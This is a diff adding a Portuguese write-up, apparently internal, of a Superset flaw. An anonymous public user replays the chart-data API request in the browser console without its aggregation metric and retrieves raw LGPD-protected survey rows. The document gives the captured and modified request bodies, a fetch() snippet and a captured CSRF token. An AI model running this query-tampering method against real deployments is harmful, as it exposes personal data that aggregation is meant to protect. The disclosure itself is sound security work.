diff --git "a/Apache Superset/Demonstra\303\247\303\243o_falha_de_seguran\303\247a.md" "b/Apache Superset/Demonstra\303\247\303\243o_falha_de_seguran\303\247a.md"
new file mode 100644
index 0000000000000000000000000000000000000000..5fc232f8a54f14c976930e55b215376869ba1986
--- /dev/null
+++ "b/Apache Superset/Demonstra\303\247\303\243o_falha_de_seguran\303\247a.md"	
@@ -0,0 +1,285 @@
+# Apresentação de uma falha de segurança de dados no superset
+> :warning: O problema está relacionado com as tabelas antigas que não seguem a LGPD, ou seja, as tabelas desagregadas. Logo, tal problema não existe para os indicadores que utilizam fontes novas (agregadas), como por exemplo o indicador **Docentes por escola**.
+
+## Apresentação do problema
+É sabido que os dados do banco `pnad_novo` não devem ser acessados de forma bruta, sem nenhuma forma de agragação, pois seus dados ferem a LGPD.
+Acreditando que não seria um problema foi criado um indicador no Apache Superset utilizando este banco, **Taxa de atendimento**. Para testar como seria o comportamento de
+um usuário público visualizando o dashboard desse indicador foi criado um "usuário público", que tem acesso aos dashboards e charts sem precisar fazer login.
+É mostrado que é possível esse usuário, utilizando ferramentas simples e documentação do Superset, extrair os dados brutos do dataset criado para o
+indicador.
+
+##  Estrutura do dataset
+O indicador é representado como um dataset dentro da ferramenta, ou seja cada indicador tem seu dataset. Esse dataset contém colunas transformadas do banco `pnad_novo`
+para mapear os valores do banco para labels com sentido. Além disso o superset permite criar métricas, funções de agregação, associadas a um dataset. Essas métricas garantem que os dados apresentados nos gráficos criados pelo dataset `Taxa atendimento - pnad_novo - glc22` não ferem a LGPD.
+
+O acordo é, todo o gráfico que for gerado utilizando `Taxa atendimento - pnad_novo - glc22` deve utilizar uma das métricas definidas para esse dataset, nesse exemplo a única métrica é[^1]:
+```sql
+round(sum(case when frequenta_escola = 1 THEN peso_domicilio_pessoas_com_cal ELSE 0 END)) / round(sum(peso_domicilio_pessoas_com_cal)) as peso_pessoas
+```
+
+## Roles e usuário público no Apache Superset
+O superset possui uma role `Public` onde são definidas as permissões do usuário público, aquele que não precisa de login. A role contém apenas permissões de leituras essenciais para a visualização exclusiva do dashboard criado para o indicador criado. Entre elas estão algumas como:
+- `Can read on Dashboard`
+- `Can read on Chart`
+- `Can read on Dataset`
+- `Can read on Datasource`
+- `datasource access on [ClickHouse teste].[Taxa atendimento - pnad_novo - glc22](id:27)`
+
+Como podemos ver é necessário ter acesso a uma diversa gama de módulos do superset para poder visualizar o dashoard. Também é necessário que o usuário público tenha acesso ao dataset.
+
+## Explorando o problema
+Foi fácil perceber que o superset não restringe a chamadas de API vindas apenas de charts já criados, ou seja é possível analisar as requisições de API e executar uma query no dataset.
+
+### 1. Entendendo como o chart faz a requisição
+Para um chart obter os dados para manipular é feita uma requisição para o endpoint `http://{host}:8088/api/v1/chart/data`, a requisição deve der do formato especificado na documentação da API. As informações relevantes da requisição são
+- `body`: Deve ser um objeto json
+- `credentials`
+- `hearders`
+- `mode`
+
+Dentro do objeto `body` o chart envia
+- `queries`
+- `form_data`
+Onde `queries` armazena qual a query que deve ser feita pelo chart para
+retornar os dados corretos para ele utilizar.
+
+### 2. Extraindo informações da requisição de dados
+Explorando as requisições feitas por um chart no debugger do browser é possível clonar a requisição utilizando o `fetch API` no console do browser.
+
+Por exemplo, seja as informações necessárias para a requisição
+```js
+APIEndpoint = `http://${host}:8088/api/v1/chart/data`
+body_json = {
+    "datasource": {
+        "id": 27,
+        "type": "table"
+    },
+    "force": true,
+    "queries": [
+        {
+            "filters": [],
+            "extras": {
+                "having": "",
+                "where": ""
+            },
+            "applied_time_extras": {},
+            "columns": [
+                "ANO",
+                "FAIXA_ETARIA"
+            ],
+            "metrics": [
+                "peso_pessoas"
+            ],
+            "orderby": [
+                [
+                    "peso_pessoas",
+                    true
+                ]
+            ],
+            "annotation_layers": [],
+            "row_limit": 1000,
+            "series_limit": 0,
+            "order_desc": false,
+            "url_params": {},
+            "custom_params": {},
+            "custom_form_data": {}
+        }
+    ],
+    "form_data": {
+        "datasource": "27__table",
+        "viz_type": "pivot_table_v2",
+        "slice_id": 340,
+        "url_params": {},
+        "groupbyColumns": [
+            "ANO"
+        ],
+        "groupbyRows": [
+            "FAIXA_ETARIA"
+        ],
+        "temporal_columns_lookup": {},
+        "metrics": [
+            "peso_pessoas"
+        ],
+        "metricsLayout": "COLUMNS",
+        "adhoc_filters": [],
+        "row_limit": 1000,
+        "order_desc": false,
+        "aggregateFunction": "Sum",
+        "valueFormat": ".2%",
+        "date_format": "smart_date",
+        "rowOrder": "key_a_to_z",
+        "colOrder": "key_a_to_z",
+        "conditional_formatting": [
+            {
+                "colorScheme": "#439066",
+                "column": "peso_pessoas",
+                "operator": "≥",
+                "targetValue": 0.9
+            },
+            {
+                "colorScheme": "#ACE1C4",
+                "column": "peso_pessoas",
+                "operator": "< x <",
+                "targetValueLeft": "0.49",
+                "targetValueRight": "0.9"
+            },
+            {
+                "colorScheme": "#FDE380",
+                "column": "peso_pessoas",
+                "operator": "< x <",
+                "targetValueLeft": "0",
+                "targetValueRight": "0.5"
+            }
+        ],
+        "allow_render_html": true,
+        "dashboards": [
+            14
+        ],
+        "extra_form_data": {},
+        "label_colors": {},
+        "shared_label_colors": {
+            "Mulher": "#1FA8C9",
+            "Homem": "#454E7C",
+            "peso_pessoas": "#1FA8C9",
+            "Ignorado": "#454E7C",
+            "11 a 14 anos": "#5AC189",
+            "6 a 10 anos": "#FF7F44",
+            "15 a 17 anos": "#666666",
+            "0 a 3 anos": "#E04355",
+            "18 a 24 anos": "#FCC700",
+            "Amarela": "#A868B7",
+            "4 a 5 anos": "#3CCCCB",
+            "Branca": "#A38F79",
+            "Parda": "#8FD3E4",
+            "Preta": "#A1A6BD",
+            "Indígena": "#ACE1C4"
+        },
+        "extra_filters": [],
+        "dashboardId": 14,
+        "force": true,
+        "result_format": "json",
+        "result_type": "full"
+    },
+    "result_format": "json",
+    "result_type": "full"
+}
+
+init = {
+    "body": JSON.stringify(body_json),
+    "credentials": "same-origin",
+    "headers": {
+        "Accept": "application/json",
+        "X-CSRFToken": "ImNkZmJjMzA5OTY3OGQ2YjRiOWVkNTU4NzNhZDlhOTM4ZWVkN2JhNGEi.ZvaoMQ.MF0QlHaJTi28ruQ89YC6JlcF50M",
+        "Content-Type": "application/json"
+    },
+    "method": "POST",
+}
+```
+
+Todas as informações foram retiradas da requisição feita por algum chart no dashboard. Para achar qual foi a requisição basta analisar os logs na aba de redes do DevTools e ver qual deles faz requisição para `'http://{host}:8088/api/v1/chart/data'`.
+
+### 3. Alterando a requisição
+Agora com as informações necessárias vamos alterar a variável `body_json.queries[0]`, para alterar como vai ser a query realizada no backend.
+
+Se retirar o campo `metrics`, deixar vazio o campo `orderby` e deixar o campo `body_json.form_data` como `null` obtendo
+```js
+body_json = {
+    "datasource": {
+        "id": 27,
+        "type": "table"
+    },
+    "force": true,
+    "queries": [
+        {
+            "filters": [],
+            "extras": {
+                "having": "",
+                "where": ""
+            },
+            "applied_time_extras": {},
+            "columns": [
+                "ANO",
+                "FAIXA_ETARIA"
+            ],
+            "orderby": [],
+            "annotation_layers": [],
+            "row_limit": 1000,
+            "series_limit": 0,
+            "order_desc": false,
+            "url_params": {},
+            "custom_params": {},
+            "custom_form_data": {}
+        }
+    ],
+    "form_data": null
+    "result_format": "json",
+    "result_type": "full"
+}
+```
+
+Como essa nova configuração é possível realizar um query que envolve os dados brutos do dataset, sem nenhuma função de agregação.
+
+#### Realizando a query com fetch API
+Basta utilizar o `fetch API` no DevTools e pronto, os dados estão la
+```js
+// Execute no DevTools
+APIEndpoint = `http://${host}:8088/api/v1/chart/data`
+body_json = {
+    "datasource": {
+        "id": 27,
+        "type": "table"
+    },
+    "force": true,
+    "queries": [
+        {
+            "filters": [],
+            "extras": {
+                "having": "",
+                "where": ""
+            },
+            "applied_time_extras": {},
+            "columns": [
+                "ANO",
+                "FAIXA_ETARIA"
+            ],
+            "orderby": [],
+            "annotation_layers": [],
+            "row_limit": 1000,
+            "series_limit": 0,
+            "order_desc": false,
+            "url_params": {},
+            "custom_params": {},
+            "custom_form_data": {}
+        }
+    ],
+    "form_data": null,
+    "result_format": "json",
+    "result_type": "full"
+}
+init = {
+    "body": JSON.stringify(body_json),
+    "credentials": "same-origin",
+    "headers": {
+        "Accept": "application/json",
+        "X-CSRFToken": "ImNkZmJjMzA5OTY3OGQ2YjRiOWVkNTU4NzNhZDlhOTM4ZWVkN2JhNGEi.ZvaoMQ.MF0QlHaJTi28ruQ89YC6JlcF50M",
+        "Content-Type": "application/json"
+    },
+    "method": "POST",
+}
+
+async function getData(){
+    init.body = JSON.stringify(body_json);
+    let res = await fetch(APIEndpoint, init);
+    console.log(await res.json());
+}
+```
+
+### 4. Notas
+1. Colete os seus próprios dados para fazer esse teste, ou seja, pode ser que não funcione copiar e colar os exemplos. É necessário que sejam obtidos os dados da aba de Rede do DevTools par seguir com o experimento.
+2. Leia a documentação da API do superset sobre o endpoint `/api/v1/chart/data` para descobrir mais sobre. No exemplo alteramos apenas `orderby` e `metrics`, entretanto é possível alterar `columns` e obter dados diferentes do dataset.
+3. Mudando a variável `body_json.datasource.id` é possível obter dados sobre outros datasets que o usuário público tem acesso.
+
+## Restrições para realizar a extração
+Como dito anteriormente, para o usuário público ter acesso a um certo dashboard é necessário que ele tenha acesso aos datasets que aquele dashboard utiliza. Logo, não é possível utilizar o método apresentado em datasets que o usuário público tem acesso.
+
+[^1]: Apresentação ilustrativa da métrica, não é realmente assim que define ela no dataset.